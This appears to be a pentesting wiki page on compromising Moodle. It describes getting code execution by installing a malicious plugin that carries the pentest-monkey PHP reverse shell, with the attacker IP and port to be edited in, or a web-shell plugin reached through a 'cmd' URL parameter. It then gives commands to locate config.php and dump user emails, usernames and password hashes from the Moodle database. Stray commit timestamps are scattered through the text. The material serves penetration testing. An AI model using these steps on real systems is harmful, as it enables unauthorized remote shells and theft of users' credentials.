I found that the automatic tools are pretty **useless finding vulnerabilities affecting the moodle version**. You can **check** for them in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**

You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab**:**
![](<../../.gitbook/assets/image (447).png>)
If you are manager you may still need to **activate this option**. You can see how ins the moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
2021-11-30 16:46:07 +00:00
Then, you can **install the following plugin** that contains the classic pentest-monkey php r**ev shell** (_before uploading it you need to decompress it, change the IP and port of the revshell and crompress it again_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
2021-11-30 16:46:07 +00:00
Or you could use the plugin from [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) to get a regular PHP shell with the "cmd" parameter.
To access launch the malicious plugin you need to access to:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Find database credentials
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Dump Credentials from database
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
